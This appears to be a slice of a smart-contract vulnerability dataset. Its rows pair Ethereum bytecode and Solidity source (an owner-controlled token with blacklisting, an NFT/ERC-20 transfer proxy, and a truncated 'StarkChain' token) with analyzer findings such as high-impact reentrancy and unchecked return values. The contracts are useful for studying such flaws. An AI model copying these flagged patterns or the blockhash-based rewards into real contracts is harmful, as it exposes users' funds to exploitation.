fb57600080fd5b506102c560175481565b34801561041157600080fd5b506000546001600160a01b0316610295565b34801561042f57600080fd5b506101fc61043e366004611c36565b6108ac565b34801561044f57600080fd5b506102c560185481565b34801561046557600080fd5b50604080518082019091526007815266131055d312515560ca1b602082015261022f565b34801561049557600080fd5b506101fc6104a4366004611c51565b6108f8565b3480156104b557600080fd5b506101fc6104c4366004611c6a565b610927565b3480156104d557600080fd5b506102656104e4366004611aba565b610965565b3480156104f557600080fd5b50610265610504366004611a06565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610972565b34801561053a57600080fd5b506101fc610549366004611ae6565b6109c6565b34801561055a57600080fd5b506102c560085481565b34801561057057600080fd5b506102c561057f366004611a40565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611c51565b610a67565b3480156105d657600080fd5b506101fc6105e5366004611a06565b610a96565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611cf1565b60405180910390fd5b60005b81518110156106855760016011600084848151811061064157610641611e38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611e07565b915050610620565b5050565b6000610696338484610b80565b5060015b92915050565b60006106ad848484610ca4565b6106ff84336106fa85604051806060016040528060288152602001611e7a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611262565b610b80565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d157506014546001600160a01b0316336001600160a01b0316145b6107da57600080fd5b476107e48161129c565b50565b6001600160a01b03811660009081526002602052604081205461069a90611321565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161061490611cf1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260040161061490611cf1565b601755565b6000546001600160a01b031633146108d65760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161061490611cf1565b601955565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161061490611cf1565b600993909355600b91909155600a55600c55565b6000610696338484610ca4565b6013546001600160a01b0316336001600160a01b031614806109a757506014546001600160a01b0316336001600160a01b0316145b6109b057600080fd5b60006109bb306107e7565b90506107e4816113a5565b6000546001600160a01b031633146109f05760405162461bcd60e51b815260040161061490611cf1565b60005b82811015610a61578160056000868685818110610a1257610a12611e38565b9050602002016020810190610a279190611a06565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5981611e07565b9150506109f3565b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b815260040161061490611cf1565b601855565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b038116610b255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610df857506000546001600160a01b03838116911614155b1561115b57601654600160a01b900460ff16610e91576000546001600160a01b03848116911614610e915760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601754811115610ee35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2557506001600160a01b03821660009081526011602052604090205460ff16155b610f7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b600854610f8b906001611d97565b4311158015610fa757506016546001600160a01b038481169116145b8015610fc157506015546001600160a01b03838116911614155b8015610fd657506001600160a01b0382163014155b15610fff576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110845760185481611021846107e7565b61102b9190611d97565b106110845760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b600061108f306107e7565b6019546017549192508210159082106110a85760175491505b8080156110bf5750601654600160a81b900460ff16155b80156110d957506016546001600160a01b03868116911614155b80156110ee5750601654600160b01b900460ff165b801561111357506001600160a01b03851660009081526005602052604090205460ff16155b801561113857506001600160a01b03841660009081526005602052604090205460ff16155b1561115857611146826113a5565b478015611156576111564761129c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119d57506001600160a01b03831660009081526005602052604090205460ff165b806111cf57506016546001600160a01b038581169116148015906111cf57506016546001600160a01b03848116911614155b156111dc57506000611256565b6016546001600160a01b03858116911614801561120757506015546001600160a01b03848116911614155b1561121957600954600d55600a54600e555b6016546001600160a01b03848116911614801561124457506015546001600160a01b03858116911614155b1561125657600b54600d55600c54600e555b610a618484848461152e565b600081848411156112865760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611df0565b95945050505050565b6013546001600160a01b03166108fc6112b683600261155c565b6040518115909202916000818181858888f193505050501580156112de573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f983600261155c565b6040518115909202916000818181858888f19350505050158015610685573d6000803e3d6000fd5b60006006548211156113885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b600061139261159e565b905061139e838261155c565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ed576113ed611e38565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114799190611a23565b8160018151811061148c5761148c611e38565b6001600160a01b0392831660209182029290920101526015546114b29130911684610b80565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114eb908590600090869030904290600401611d26565b600060405180830381600087803b15801561150557600080fd5b505af1158015611519573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153b5761153b6115c1565b6115468484846115ef565b80610a6157610a61600f54600d55601054600e55565b600061139e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e6565b60008060006115ab611714565b90925090506115ba828261155c565b9250505090565b600d541580156115d15750600e54155b156115d857565b600d8054600f55600e805460105560009182905555565b60008060008060008061160187611756565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163390876117b3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166290866117f5565b6001600160a01b03891660009081526002602052604090205561168481611854565b61168e848361189e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d391815260200190565b60405180910390a3505050505050505050565b600081836117075760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611daf565b6006546000908190683635c9adc5dea00000611730828261155c565b82101561174d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117738a600d54600e546118c2565b925092509250600061178361159e565b905060008060006117968e878787611917565b919e509c509a509598509396509194505050505091939550919395565b600061139e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611262565b6000806118028385611d97565b90508381101561139e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b600061185e61159e565b9050600061186c8383611967565b3060009081526002602052604090205490915061188990826117f5565b30600090815260026020526040902055505050565b6006546118ab90836117b3565b6006556007546118bb90826117f5565b6007555050565b60008080806118dc60646118d68989611967565b9061155c565b905060006118ef60646118d68a89611967565b90506000611907826119018b866117b3565b906117b3565b9992985090965090945050505050565b60008080806119268886611967565b905060006119348887611967565b905060006119428888611967565b905060006119548261190186866117b3565b939b939a50919850919650505050505050565b6000826119765750600061069a565b60006119828385611dd1565b90508261198f8583611daf565b1461139e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b80356119f181611e64565b919050565b803580151581146119f157600080fd5b600060208284031215611a1857600080fd5b813561139e81611e64565b600060208284031215611a3557600080fd5b815161139e81611e64565b60008060408385031215611a5357600080fd5b8235611a5e81611e64565b91506020830135611a6e81611e64565b809150509250929050565b600080600060608486031215611a8e57600080fd5b8335611a9981611e64565b92506020840135611aa981611e64565b929592945050506040919091013590565b60008060408385031215611acd57600080fd5b8235611ad881611e64565b946020939093013593505050565b600080600060408486031215611afb57600080fd5b833567ffffffffffffffff80821115611b1357600080fd5b818601915086601f830112611b2757600080fd5b813581811115611b3657600080fd5b8760208260051b8501011115611b4b57600080fd5b602092830195509350611b6191860190506119f6565b90509250925092565b60006020808385031215611b7d57600080fd5b823567ffffffffffffffff80821115611b9557600080fd5b818501915085601f830112611ba957600080fd5b813581811115611bbb57611bbb611e4e565b8060051b604051601f19603f83011681018181108582111715611be057611be0611e4e565b604052828152858101935084860182860187018a1015611bff57600080fd5b600095505b83861015611c2957611c15816119e6565b855260019590950194938601938601611c04565b5098975050505050505050565b600060208284031215611c4857600080fd5b61139e826119f6565b600060208284031215611c6357600080fd5b5035919050565b60008060008060808587031215611c8057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc957858101830151858201604001528201611cad565b81811115611cdb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d765784516001600160a01b031683529383019391830191600101611d51565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611daa57611daa611e22565b500190565b600082611dcc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611deb57611deb611e22565b500290565b600082821015611e0257611e02611e22565b500390565b6000600019821415611e1b57611e1b611e22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b828affedd54e8241ec3f37caf7e2e275119911ca7f4cb80d6a10755499d34864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,004 |
0xc1c2a2ec3a44fe5cca6815a0f06e5c394e8f7e4e
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, string memory _tokenURI, bytes memory data)external returns(uint256);
}
interface IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
/**
@dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
@dev MUST emit when the URI is updated for a token ID.
URIs are defined in RFC 3986.
The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, uint256 _supply, string memory _tokenURI, uint256 qty, bytes memory data)external returns(uint256);
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
event operatorChanged(address indexed from, address indexed to);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
address public operator;
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyOperator() {
require(operator == msg.sender, "OperatorRole: caller does not have the Operator role");
_;
}
/** change the OperatorRole from contract creator address to trade contractaddress
@param _operator :trade address
*/
function changeOperator(address _operator) public onlyOwner returns(bool) {
require(_operator != address(0), "Operator: new operator is the zero address");
operator = _operator;
emit operatorChanged(address(0),operator);
return true;
}
/** change the Ownership from current owner to newOwner address
@param newOwner : newOwner address */
function ownerTransfership(address newOwner) public onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
return true;
}
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator {
token.safeTransferFrom(from, to, tokenId);
}
function erc721mintAndTransfer(IERC721 token, address from, address to, uint256 tokenId, uint256 fee, string memory tokenURI, bytes calldata data) external onlyOperator {
token.mintAndTransfer(from, to, tokenId, fee, tokenURI,data);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator {
token.safeTransferFrom(from, to, tokenId, value, data);
}
function erc1155mintAndTransfer(IERC1155 token, address from, address to, uint256 tokenId, uint256 fee , uint256 supply, string memory tokenURI, uint256 qty, bytes calldata data) external onlyOperator {
token.mintAndTransfer(from, to, tokenId, fee, supply, tokenURI, qty,data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063776062c311610066578063776062c3146101135780638da5cb5b146101265780639c1c2ee914610139578063e870a3201461014c578063f709b9061461015f57600080fd5b806306394c9b14610098578063570ca735146100c05780636fdc202f146100eb57806374451110146100fe575b600080fd5b6100ab6100a6366004610827565b610172565b60405190151581526020015b60405180910390f35b6001546100d3906001600160a01b031681565b6040516001600160a01b0390911681526020016100b7565b6100ab6100f9366004610827565b61028d565b61011161010c366004610a0f565b61039d565b005b6101116101213660046109bf565b61045c565b6000546100d3906001600160a01b031681565b61011161014736600461086a565b610562565b61011161015a3660046108f7565b6105fd565b61011161016d3660046109bf565b6106b4565b600080546001600160a01b031633146101d25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03821661023b5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b60648201526084016101c9565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a35060015b919050565b600080546001600160a01b031633146102e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101c9565b6001600160a01b03821661034d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101c9565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b031633146103c75760405162461bcd60e51b81526004016101c990610c5c565b60405163066e575d60e41b81526001600160a01b038916906366e575d0906103ff908a908a908a908a908a908a908a90600401610b94565b602060405180830381600087803b15801561041957600080fd5b505af115801561042d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104519190610ac1565b505050505050505050565b6001546001600160a01b031633146104865760405162461bcd60e51b81526004016101c990610c5c565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156104d857600080fd5b505af11580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610510919061084a565b61055c5760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e6700000000000060448201526064016101c9565b50505050565b6001546001600160a01b0316331461058c5760405162461bcd60e51b81526004016101c990610c5c565b604051637921219560e11b81526001600160a01b0388169063f242432a906105c290899089908990899089908990600401610b4d565b600060405180830381600087803b1580156105dc57600080fd5b505af11580156105f0573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b031633146106275760405162461bcd60e51b81526004016101c990610c5c565b60405162ba2e2760e31b81526001600160a01b038b16906305d1713890610662908c908c908c908c908c908c908c908c908c90600401610bef565b602060405180830381600087803b15801561067c57600080fd5b505af1158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f09190610ac1565b6001546001600160a01b031633146106de5760405162461bcd60e51b81526004016101c990610c5c565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561073057600080fd5b505af1158015610744573d6000803e3d6000fd5b5050505050505050565b803561028881610cc6565b60008083601f84011261076a578081fd5b50813567ffffffffffffffff811115610781578182fd5b60208301915083602082850101111561079957600080fd5b9250929050565b600082601f8301126107b0578081fd5b813567ffffffffffffffff808211156107cb576107cb610cb0565b604051601f8301601f19908116603f011681019082821181831017156107f3576107f3610cb0565b8160405283815286602085880101111561080b578485fd5b8360208701602083013792830160200193909352509392505050565b600060208284031215610838578081fd5b813561084381610cc6565b9392505050565b60006020828403121561085b578081fd5b81518015158114610843578182fd5b600080600080600080600060c0888a031215610884578283fd5b873561088f81610cc6565b9650602088013561089f81610cc6565b955060408801356108af81610cc6565b9450606088013593506080880135925060a088013567ffffffffffffffff8111156108d8578283fd5b6108e48a828b01610759565b989b979a50959850939692959293505050565b6000806000806000806000806000806101208b8d031215610916578283fd5b8a3561092181610cc6565b995060208b013561093181610cc6565b985061093f60408c0161074e565b975060608b0135965060808b0135955060a08b0135945060c08b013567ffffffffffffffff80821115610970578485fd5b61097c8e838f016107a0565b955060e08d013594506101008d0135915080821115610999578384fd5b506109a68d828e01610759565b915080935050809150509295989b9194979a5092959850565b600080600080608085870312156109d4578384fd5b84356109df81610cc6565b935060208501356109ef81610cc6565b925060408501356109ff81610cc6565b9396929550929360600135925050565b60008060008060008060008060e0898b031215610a2a578384fd5b8835610a3581610cc6565b97506020890135610a4581610cc6565b96506040890135610a5581610cc6565b9550606089013594506080890135935060a089013567ffffffffffffffff80821115610a7f578485fd5b610a8b8c838d016107a0565b945060c08b0135915080821115610aa0578384fd5b50610aad8b828c01610759565b999c989b5096995094979396929594505050565b600060208284031215610ad2578081fd5b5051919050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60008151808452815b81811015610b2757602081850181015186830182015201610b0b565b81811115610b385782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a060808201819052600090610b889083018486610ad9565b98975050505050505050565b6001600160a01b03888116825287166020820152604081018690526060810185905260c060808201819052600090610bce90830186610b02565b82810360a0840152610be1818587610ad9565b9a9950505050505050505050565b6001600160a01b038a811682528916602082015260408101889052606081018790526080810186905261010060a08201819052600090610c3183820188610b02565b90508560c084015282810360e0840152610c4c818587610ad9565b9c9b505050505050505050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610cdb57600080fd5b5056fea2646970667358221220381997a51897c242b965a0911fbe9367cf6f66be5c66b6f3169e4ca0657d6aa264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,005 |
0x1edc9ba729ef6fb017ef9c687b1a37d48b6a166c
|
/**
*Submitted for verification at Etherscan.io on 2020-08-19
*/
pragma solidity >=0.5.16 <0.6.9;
pragma experimental ABIEncoderV2;
//YOUWILLNEVERWALKALONE
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract StarkChain {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
address payable public fundsWallet;
uint256 public maximumTarget;
uint256 public lastBlock;
uint256 public rewardTimes;
uint256 public genesisReward;
uint256 public premined;
uint256 public nRewarMod;
uint256 public nWtime;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
initialSupply = 8923155 * 10 ** uint256(decimals);
tokenName = "Stark Chain";
tokenSymbol = "STARK";
lastBlock = 0;
nRewarMod = 5700;
nWtime = 7776000;
genesisReward = (10**uint256(decimals)); // Ödül Miktarı
maximumTarget = 100 * 10 ** uint256(decimals);
fundsWallet = msg.sender;
premined = 35850 * 10 ** uint256(decimals);
balanceOf[msg.sender] = premined;
balanceOf[address(this)] = initialSupply;
totalSupply = initialSupply + premined;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function uintToString(uint256 v) internal pure returns(string memory str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(uint8(48 + remainder));
}
bytes memory s = new bytes(i + 1);
for (uint j = 0; j <= i; j++) {
s[j] = reversed[i - j];
}
str = string(s);
}
function append(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a,"-",b));
}
function getCurrentBlockHash() public view returns (uint256) {
return uint256(blockhash(block.number-1));
}
function getBlockHashAlgoritm(uint256 _blocknumber) public view returns(uint256, uint256){
uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod;
return (crew, block.number-1);
}
function checkBlockReward() public view returns (uint256, uint256) {
uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod;
return (crew, block.number-1);
}
struct stakeInfo {
uint256 _stocktime;
uint256 _stockamount;
}
address[] totalminers;
mapping (address => stakeInfo) nStockDetails;
struct rewarddetails {
uint256 _artyr;
bool _didGetReward;
bool _didisign;
}
mapping (string => rewarddetails) nRewardDetails;
struct nBlockDetails {
uint256 _bTime;
uint256 _tInvest;
}
mapping (uint256 => nBlockDetails) bBlockIteration;
struct activeMiners {
address bUser;
}
